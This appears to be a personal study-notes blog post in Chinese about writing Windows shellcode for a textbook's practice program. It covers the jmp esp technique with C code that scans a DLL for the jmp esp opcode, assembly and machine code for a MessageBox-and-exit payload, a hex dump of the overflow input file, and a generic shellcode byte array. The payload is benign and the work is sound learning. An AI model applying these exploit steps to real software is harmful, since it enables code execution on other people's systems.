此次主要徒手体会了一下编写shellcode 的不容易。当真不容易,看着作者的代码,都感觉自己无处可以下手了。 需要的底层原理知识也还挺多需要补充上去的。
打算后期再逐渐补充。目前阶段将jmp esp弄懂了。后面动态获取api在主机上出错了。问题和搜索jmp esp代码时候貌似一样,产生访问越权的问题。后期再继续解决吧。
目前整理一下整个的思路。
1、shellcode、expoit的概念;
2、为了更好的注入shellcode,里程碑式的方法。使用jmp esp。
3、后续:动态获取api、编码shellcode、压缩shellcode。
后续内容用在之后再学习。
1、shellcode、exploit概念
shellcode:通称缓冲区溢出攻击中植入进程的代码。
exploit: 代码植入的过程成为漏洞利用,即exploit。
2、里程碑式的注入方法:jmp esp
之前我们的一个思路,是将shellcode注入到缓冲区里面。通过溢出修改返回地址,指向缓冲区的起始位置从而执行shellcode。
但是这样会有一个弊端。目前溢出修改的返回地址是固定的,如果系统一重新启动,或者重新运行程序,分配的地址就会改变,原来的shellcode就不行了,需要再次od看地址,修改地址。这样很不方便。这个问题再困扰了人们很久以后,在1998年,黑客组织“cult of the dead cow”的Dildog首次提出了使用jmp esp的动态定位,成为shellcode里程碑式的进步。
98年,我还是小屁孩的。外面的世界就早已经风起云涌了= =
使用jmp esp有这样的原理。在每次当前函数返回之后,esp都会指向紧紧挨着的下一个栈帧的栈顶。那么通过将shellcode放在返回地址后面,就可以动态的执行了。
(其实我考虑能不能在shellcode中直接获取当前缓冲区的起始地址,然后动态的放到返回地址中,但发现难度大,而且麻烦,代码量也会增加很多。革命式的进步真是很伟大!)
目前的问题就是通过代码搜索内存的jmp esp指令的。使用OD插件可以成功,但是自己设计程序却始终无法找到。
uer32.dll找0x1000个字节就说越权了,不明白是为什么,难度目前windows对这个进行了控制?
OD的插件最后放出来。
自己写的代码(书上的)修改后,可以在VS2010中运行的。
#include "stdafx.h" #include <stdio.h> #include <windows.h> #define DLL_NAME "kernel32.dll" int _tmain(int argc, _TCHAR* argv[]) { BYTE *ptr; int position,address; HINSTANCE handle; BOOL done_flag = FALSE; handle = LoadLibraryA(DLL_NAME); if(!handle) { printf(" load dll error!"); getchar(); return 0; } ptr = (BYTE*)handle; printf("start at 0x%x\n",handle); for(position = 0 ; !done_flag ; position++) { __try { if(ptr[position] == 0xFF && ptr[position+1] == 0xE4) { address = (int)ptr + position; printf("jmp esp found at 0x%x\n",address); } } __except(2) { address = (int)ptr + position; printf("END of 0x%x\n",address); done_flag = TRUE; } } getchar(); return 0; }
接着,依旧利用上一个章节的程序和password文件,构造shellcode注入。
为了让shellcode代码安全退出,比上个章节多找个exitprocess函数。
上次使用OD寻找,这次使用Dependency walker 查找,发现动态链接库的基址找的不准确。相对位置是准确的。
所以我还是用上面的search代码找的基址,用DK找的的相对位置。得到如下地址,每台电脑数据不一样。
uesr32 --> 76EF0000 mesg = 0x0006fd1e 0x76F5FD1E USER32.MessageBoxA kernel32.dll 76bb0000 --> exitprocess= 0x000179d8 exit --> 0x76BC79D8
接着,写入相应的汇编代码,在对应的位置修改地址,获取机器码:
// shellcode_useJmp.cpp : // #include "stdafx.h" #include <windows.h> int _tmain(int argc, _TCHAR* argv[]) { HINSTANCE LibHandle,LibHandle2; LibHandle = LoadLibraryA("user32.dll"); LibHandle2 = LoadLibraryA("kernel32.dll"); _asm { sub sp,0x440 xor ebx,ebx push ebx push 0x74736577 push 0x6c696166 mov eax,esp push ebx push eax push eax push ebx mov eax,0x76F5FD1E call eax//messagebox,修改 push ebx mov eax,0x76BC79D8 call eax//exit(0),修改 } return 0; }
得到机器码
013E13CC 66:81EC 4004 sub sp, 440 013E13D1 33DB xor ebx, ebx 013E13D3 53 push ebx 013E13D4 68 77657374 push 74736577 013E13D9 68 6661696C push 6C696166 013E13DE 8BC4 mov eax, esp 013E13E0 53 push ebx 013E13E1 50 push eax 013E13E2 50 push eax 013E13E3 53 push ebx 013E13E4 B8 1EFDF576 mov eax, USER32.MessageBoxA 013E13E9 FFD0 call eax 013E13EB 53 push ebx 013E13EC B8 D879BC76 mov eax, kernel32.ExitProcess 013E13F1 FFD0 call eax
写入到构造的txt文档中 为:
00000000h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 悙悙悙悙悙悙悙悙 00000010h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 悙悙悙悙悙悙悙悙 00000020h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 悙悙悙悙悙悙悙悙 00000030h: 90 90 90 90 90 90 90 90 90 90 90 90 4F AE F8 76 ; 悙悙悙悙悙悙Ov 00000040h: 33 DB 53 68 77 65 73 74 68 66 61 69 6C 8B C4 53 ; 3跾hwesthfail嬆S 00000050h: 50 50 53 B8 1E FD F5 76 FF D0 53 B8 D8 79 BC 76 ; PPS?v蠸肛y紇 00000060h: FF D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 袗悙悙悙悙悙悙? 00000070h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 悙悙悙悙悙悙悙悙 00000080h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 悙悙悙悙悙悙悙?
最终运行成功弹出:并且安全退出
3、动态获取api、编码shellcode、压缩shellcode
这一部分就不做阐述了,因为我想后续再回来学习。里面涉及的代码大都我都无从修改。
叙述一小部分步骤:
【1、获取api 的hash】
MessageBoxA : 0x1e380a6a
ExitProcess: 0x4fd18963
LoadLIbraryA: 0x0c917432
获取hash的目的是为了缩短字符串的比较长度。
【2、直接载入书上的代码,运行获取机器码machine code】
【3、将machine code 转成数组存储】
char popup_general[]= "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
至此,本章告一段落,感觉初次接触难度还是有的。
主要学到的知识就是shellcode的编写思路。以及整个流程,包括后续的编码,压缩等内容都有大致了解。
最终目的都是要构造一份精简、通用、准确的shellcdoe。
jmp esp 的用法确实不错。
下一章使用metasploit,非常期待!